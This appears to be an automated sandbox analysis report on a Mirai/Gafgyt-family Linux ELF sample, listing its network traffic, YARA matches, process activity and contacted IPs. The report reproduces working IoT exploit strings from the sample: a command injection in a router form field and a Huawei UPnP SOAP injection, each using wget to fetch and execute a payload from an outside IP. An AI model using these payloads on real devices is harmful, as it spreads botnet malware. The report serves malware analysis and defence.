Source: unknown	TCP traffic detected without corresponding DNS query: 74.178.87.169
Source: unknown	TCP traffic detected without corresponding DNS query: 207.37.57.120
Source: unknown	TCP traffic detected without corresponding DNS query: 109.118.51.141
Source: unknown	TCP traffic detected without corresponding DNS query: 41.167.73.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.248.252.153
Source: unknown	TCP traffic detected without corresponding DNS query: 197.39.196.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.90.125.186
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.103.81
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.98.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.25.32.65
Source: unknown	TCP traffic detected without corresponding DNS query: 41.98.43.203
Source: unknown	TCP traffic detected without corresponding DNS query: 175.235.63.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.116.233.166

Source: unknown

DNS traffic detected: queries for: botnet.net-killertajima.com

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 8704685216872633858Connection: closeServer: Lego ServerDate: Fri, 19 Apr 2024 11:08:26 GMTX-Cache-Lookup: Return DirectlyX-ServerIp: 36.150.35.46Client-Ip: 81.181.57.52
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Fri, 19 Apr 2024 11:08:53 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Fri, 19 Apr 2024 07:09:00 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: noneData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close

Source: mCS7AR9pKm.elf	String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: mCS7AR9pKm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mCS7AR9pKm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: mCS7AR9pKm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep

Source: /usr/bin/xfdesktop (PID: 5573)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5599)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5601)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5606)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior

Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5608/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5609/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5601/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5606/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5620/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5618/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5619/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3316/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1498/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1497/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1496/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5610/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5611/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5612/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5613/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3799/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5614/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5615/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3332/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3210/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3205/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3201/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/723/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5621/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/724/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5622/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5623/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5624/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5625/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5642/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3222/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3220/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3461/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/850/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3456/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3475/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/740/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3469/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3465/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5643/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5644/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/505/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5645/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5526/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5527/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/1185/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/515/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3255/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3253/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3252/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3251/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3250/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3249/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3488/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/766/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/3379/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556)	File opened: /proc/657/cmdline	Jump to behavior

Source: /tmp/mCS7AR9pKm.elf (PID: 5551)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5573)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5599)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5601)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5606)	Queries kernel information via 'uname':	Jump to behavior

Source: mCS7AR9pKm.elf, 5551.1.0000559e05fab000.0000559e060fb000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: mCS7AR9pKm.elf, 5551.1.00007ffc23f5f000.00007ffc23f80000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/mCS7AR9pKm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mCS7AR9pKm.elf
Source: mCS7AR9pKm.elf, 5551.1.0000559e05fab000.0000559e060fb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: mCS7AR9pKm.elf, 5551.1.00007ffc23f5f000.00007ffc23f80000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Source: Yara match	File source: mCS7AR9pKm.elf, type: SAMPLE
Source: Yara match	File source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Hidden Files and Directories	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source: mCS7AR9pKm.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source	Detection	Scanner	Label	Link
mCS7AR9pKm.elf	50%	Virustotal		Browse
mCS7AR9pKm.elf	61%	ReversingLabs	Linux.Trojan.Mirai
mCS7AR9pKm.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Reputation
http://103.174.73.190/tajma.mpsl;	mCS7AR9pKm.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	mCS7AR9pKm.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	mCS7AR9pKm.elf	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
2.229.196.120	unknown	Italy	12874	FASTWEBIT	false
41.201.246.168	unknown	Algeria	36947	ALGTEL-ASDZ	false
27.155.187.72	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
212.194.129.235	unknown	France	5410	BOUYGTEL-ISPFR	false
185.58.155.62	unknown	Russian Federation	13178	DIGCOMMFR	false
59.184.246.109	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
176.171.251.140	unknown	France	5410	BOUYGTEL-ISPFR	false
197.148.170.245	unknown	Madagascar	37303	AIRTELMADAMG	false
41.73.250.171	unknown	Nigeria	16284	UNSPECIFIEDNG	false
102.74.176.9	unknown	Morocco	6713	IAM-ASMA	false
4.179.253.87	unknown	United States	3356	LEVEL3US	false
157.252.171.64	unknown	United States	3592	TRINCOLL-ASUS	false
2.252.14.165	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
157.2.29.40	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
149.157.51.232	unknown	Ireland	1213	HEANETIE	false
174.0.51.46	unknown	Canada	6327	SHAWCA	false
157.114.204.198	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
185.88.186.149	unknown	United Kingdom	49882	SKRILLGB	false
157.78.133.31	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
122.60.68.210	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
197.196.64.235	unknown	Egypt	36992	ETISALAT-MISREG	false
157.181.189.186	unknown	Hungary	2012	ELTENETELTENETHU	false
157.182.219.130	unknown	United States	12118	WVUUS	false
41.184.118.228	unknown	Nigeria	29091	IPNXngNG	false
213.196.220.17	unknown	Germany	8422	NETCOLOGNEDE	false
103.250.231.33	unknown	New Zealand	38437	WIC-AS-NZWickedNetworksNZ	false
187.142.69.163	unknown	Mexico	8151	UninetSAdeCVMX	false
8.156.94.142	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
176.217.134.84	unknown	Turkey	8386	KOCNETTR	false
85.157.92.208	unknown	Finland	15527	ANVIASilmukkatie6VaasaFinlandFI	false
194.86.205.231	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
79.102.180.213	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
47.61.232.128	unknown	United States	12430	VODAFONE_ESES	false
157.241.76.109	unknown	United States	32934	FACEBOOKUS	false
128.155.91.127	unknown	United States	1254	AS1254US	false
115.170.219.18	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
157.240.49.17	unknown	United States	32934	FACEBOOKUS	false
197.128.56.84	unknown	Morocco	6713	IAM-ASMA	false
49.8.147.83	unknown	Korea Republic of	9858	KRNICNETKoreaInternetSecurityAgencyKR	false
37.208.250.49	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
43.79.210.168	unknown	Japan	4249	LILLY-ASUS	false
157.198.147.71	unknown	United States	4704	SANNETRakutenMobileIncJP	false
201.195.242.93	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
8.248.56.193	unknown	United States	3356	LEVEL3US	false
157.182.19.38	unknown	United States	12118	WVUUS	false
190.23.45.137	unknown	Paraguay	27866	COPACOPY	false
41.115.224.87	unknown	South Africa	16637	MTNNS-ASZA	false
41.83.144.204	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
157.190.86.97	unknown	Ireland	1213	HEANETIE	false
157.241.28.230	unknown	United States	32934	FACEBOOKUS	false
186.128.210.149	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
44.244.87.34	unknown	United States	16509	AMAZON-02US	false
90.245.29.94	unknown	United Kingdom	5378	VodafoneGB	false
68.174.20.204	unknown	United States	12271	TWC-12271-NYCUS	false
197.221.180.232	unknown	South Africa	37356	O-TelZA	false
199.76.245.75	unknown	United States	3549	LVLT-3549US	false
31.112.10.70	unknown	United Kingdom	12576	EELtdGB	false
41.60.238.147	unknown	Mauritius	30844	LIQUID-ASGB	false
125.113.88.194	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
129.160.182.165	unknown	United States	3359	U-ALBERTACA	false
